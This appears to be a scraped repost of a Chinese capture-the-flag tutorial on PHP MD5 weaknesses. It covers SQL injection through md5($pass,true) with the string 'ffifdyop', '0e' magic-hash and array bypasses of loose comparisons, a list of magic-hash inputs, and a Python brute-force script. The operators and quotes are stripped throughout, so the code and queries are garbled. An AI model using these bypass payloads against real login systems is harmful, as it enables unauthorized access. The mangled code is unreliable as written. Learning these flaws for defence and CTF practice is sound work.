陕西网站制作qq群,站长之家字体,wordpress改登陆界面,网站开发技术 下载一、md5($password,true)的SQL注入问题这里要提到一下MySQL中的数值比较问题。1、当数字和字符串比较时#xff0c;若字符串的数字部分(需要从头开始)和数字是相同的#xff0c;那么则返回的是true。select if(11abcd,等于,不等于) as t…一、md5($password,true)的SQL注入问题这里要提到一下MySQL中的数值比较问题。1、当数字和字符串比较时若字符串的数字部分(需要从头开始)和数字是相同的那么则返回的是true。select if(11abcd,等于,不等于) as test;if(exp1,stat1,stat2)类似于高级语言中三元运算符。当exp1为true的是否返回stat1为false返回stat2。2、以数字开头的字符串若开头的字符不是0那么在做逻辑运算的时候返回的是1也就是true。select * from user where password ‘‘or‘1234a‘;看一下这个php md5($pass,true) 的漏洞select * from user where password md5($pass,true);可以看到这里的raw参数是True为返回原始16字符二进制格式。也就是说当md5函数的第二个参数为true时该函数的输出是原始二进制格式会被作为字符串处理。如果构造一个‘or‘xxx‘的密码只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找‘or‘对应的16进制是276f7227所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的在276f7227这个字段后面紧跟一个数字(除了0)1-9对应的asc码值是49-57转化为16进制就是31-39也就是含有276f7227(31-39)这个字段就可以满足要求。则拼接后构成的SQL语句为select * from user where password‘‘or‘1asodijfoi‘;select * from user where password‘‘or‘1abcdefg‘ --- Trueselect * from user where password‘‘or‘0abcdefg‘ --- Falseselect * from user where password‘‘or‘1‘ --- Trueselect * from user where password‘‘or‘2‘ --- Trueselect * from user where password‘‘or‘0‘ --- False只要‘or‘后面的字符串为一个非零的数字开头都会返回True这就是我们的突破点。目前只知道用这个字符串 ffifdyop具体怎么来的目前脚本还在研究中。二、两变量值不相等md5计算散列值后相等的绕过的绕过PHP中是判断值是否相等若两个变量的类型不相等则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候它把每一个以0e开头的哈希值都解析为0。注意号相等必须满足0e后面全是数字若存在字母则不行。}}?常见的如下在md5加密后以0E开头QNKCDZO240610708s878926199as155964671a的绕过会比较类型这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。}}?payload: /?a[]1b[]2 (上面的例子也可以用数组绕过)三、MD5碰撞脚本#-*- coding: utf-8 -*-import multiprocessingimport hashlibimport randomimportstringimport sysCHARS string.letters string.digitsdef cmp_md5(substr, stop_event, str_len,. start0, size20):globalCHARSwhile not stop_event.is_set():rnds ‘‘.join(random.choice(CHARS) for _ in range(size))md5 hashlib.md5(rnds)value md5.hexdigest()if value[start: startstr_len] substr:printrndsstop_event.set()‘‘‘#碰撞双md5md5 hashlib.md5(value)if md5.hexdigest()[start: startstr_len] substr:print rnds value md5.hexdigest() \nstop_event.set()‘‘‘if __name__ ‘__main__‘:substr sys.argv[1].strip()start_pos int(sys.argv[2]) if len(sys.argv) 1 else 0str_len len(substr)cpus multiprocessing.cpu_count()stop_event multiprocessing.Event()processes [multiprocessing.Process(targetcmp_md5, args(substr,stop_event, str_len,start_pos))for i in range(cpus)]for p in processes:p.start()for p in processes:p.join()还有MD5和双MD5以后的值都是0e开头的CbDLytmyGm2xQyaLNhWn770hQgrBOjrcqftrlaZk7r4lGXCH2Ksu2JNT3BYM正常0e开头QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020原文https://www.cnblogs.com/du1ge/p/13812118.html
